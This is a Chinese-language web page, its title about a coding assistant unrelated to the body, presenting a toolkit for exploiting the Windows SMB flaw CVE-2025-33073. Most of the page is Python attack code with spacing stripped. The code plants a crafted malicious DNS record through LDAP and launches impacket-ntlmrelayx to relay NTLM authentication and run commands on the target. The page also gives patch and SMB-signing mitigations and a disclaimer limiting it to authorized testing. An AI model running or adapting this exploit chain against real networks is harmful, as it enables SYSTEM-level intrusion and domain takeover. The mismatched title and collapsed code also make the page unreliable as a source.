Codex智能编程助手:从安装配置到代理式编码实战
2026/7/17 17:54:26
该项目是一个针对Windows SMB客户端远程代码执行漏洞CVE-2025-33073的安全研究与渗透测试工具集。该漏洞被标记为高危(CVSS 8.8分),影响Windows 10、11及Server 2012-2025的所有版本,允许攻击者在经过身份验证的情况下通过网络实现SYSTEM级别的远程代码执行。工具集包含DNS记录操作和NTLM中继攻击功能,用于模拟和测试相关攻击场景。
pipinstallimpacket ldap3 dnspython# 克隆相关工具gitclone<repository-url>cd<project-directory># 确保脚本有执行权限chmod+x *.py# 安装系统依赖(Debian/Ubuntu)sudoapt-getinstallxtermdig#!/usr/bin/env python3importshleximportsysimportargparseimportsubprocessimporttime# 静态DNS记录常量STATIC_DNS_RECORD="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"defrun_dnstool(user,password,attacker_ip,dns_ip,dc_fqdn):""" 使用dnstool.py添加恶意DNS记录 """print("[*] Adding malicious DNS record using dnstool.py...")dnstool_cmd=["python3","dnstool.py","-u",user,"-p",password,"-a","add","-r",STATIC_DNS_RECORD,"-d",attacker_ip,"-dns-ip",dns_ip,dc_fqdn]subprocess.run(dnstool_cmd,check=True)print("[+] DNS record added.")defwait_for_dns_record(record,dns_ip,timeout=60):""" 等待DNS记录传播并验证 """timeout=int(timeout)print(f"[*] Waiting for DNS record{record}to propagate...")start_time=time.time()whiletime.time()-start_time<timeout:try:result=subprocess.run(["dig","+short",record,f"@{dns_ip}"],capture_output=True,text=True)ifresult.stdout.strip():print("[+] DNS record is live.")returnTrueexceptExceptionase:print(f"[!] Error checking DNS record:{e}")time.sleep(2)print("[!] Timeout reached. DNS record not found.")returnFalsedefstart_ntlmrelayx(target,cli_only=False,custom_command=None,socks=False):""" 启动impacket-ntlmrelayx监听器 """ifcli_only:print("[*] Starting ntlmrelayx listener in this terminal...")ifcustom_command:cmd=["impacket-ntlmrelayx","-t",target,"-smb2support","-c",custom_command]else:cmd=["impacket-ntlmrelayx","-t",target,"-smb2support"]ifsocks:cmd.append("-socks")returnsubprocess.Popen(cmd)else:print("[*] Starting ntlmrelayx listener in a new xterm...")ifcustom_command:cmd=["xterm","-hold","-e","impacket-ntlmrelayx","-t",target,"-smb2support","-c",custom_command]else:cmd=["xterm","-hold","-e","impacket-ntlmrelayx","-t",target,"-smb2support"]ifsocks:cmd.insert(-1,"-socks")returnsubprocess.Popen(cmd)#!/usr/bin/env python""" ADIDNS over LDAP交互工具 Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan) """importsysimportargparseimportgetpassimportreimportosimportsocketfromstructimportunpack,packfromimpacket.structureimportStructurefromimpacket.krb5.ccacheimportCCachefromimpacket.krb5.kerberosv5importgetKerberosTGT,getKerberosTGSfromimpacket.krb5.typesimportPrincipalfromimpacket.krb5importconstantsfromldap3importNTLM,Server,Connection,ALL,LEVEL,BASE,MODIFY_DELETE,MODIFY_ADD,MODIFY_REPLACE,SASL,KERBEROSfromlib.utils.kerberosimportldap_kerberosimportldap3fromimpacket.ldapimportldaptypesimportdns.resolverimportdatetimedefprint_m(string):"""打印消息"""sys.stderr.write('\033[94m[-]\033[0m %s\n'%(string))defprint_o(string):"""打印成功信息"""sys.stderr.write('\033[92m[+]\033[0m %s\n'%(string))defprint_f(string):"""打印失败信息"""sys.stderr.write('\033[91m[!]\033[0m %s\n'%(string))# ✨ CVE-2025-33073: Windows SMB RCE Vulnerability 🚨# 🔥 High-Severity Authenticated Remote Code Execution 🔥# Improper Access Control in Windows SMB Client (CWE-284)# 🛡️ 关键信息概览""" CVSS v3.1评分: 8.8 (高危) 受影响系统: Windows 10, 11, Server 2012–2025 (所有版本) 披露日期: 2025年6月10日 (已在2025年6月补丁星期二修复) 攻击向量: 网络 (需身份验证) 影响: SYSTEM级别代码执行,通过Kerberos中继进行横向移动 绕过: NTLM反射缓解措施 """# 🛠️ 立即缓解措施""" 1. 立即打补丁! → 应用Microsoft更新 (例如 KB5060998) → Microsoft更新指南: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073 2. 启用SMB签名 → 在所有客户端和服务器上强制执行 → 使用命令: Set-SmbClientConfiguration -RequireSecuritySignature $true 3. 限制NTLM使用 → 尽可能阻止NTLM → 使用EDR工具监控中继尝试 4. 为什么这个漏洞重要? - 绕过传统的NTLM保护 - 即使在SMB签名未强制执行的情况下也能工作 - 在配置不当的AD环境中实现完整的域接管 """该工具集专门设计用于安全研究人员和渗透测试人员,以了解和防御CVE-2025-33073漏洞的相关攻击。请仅在授权测试环境中使用这些工具。FINISHED
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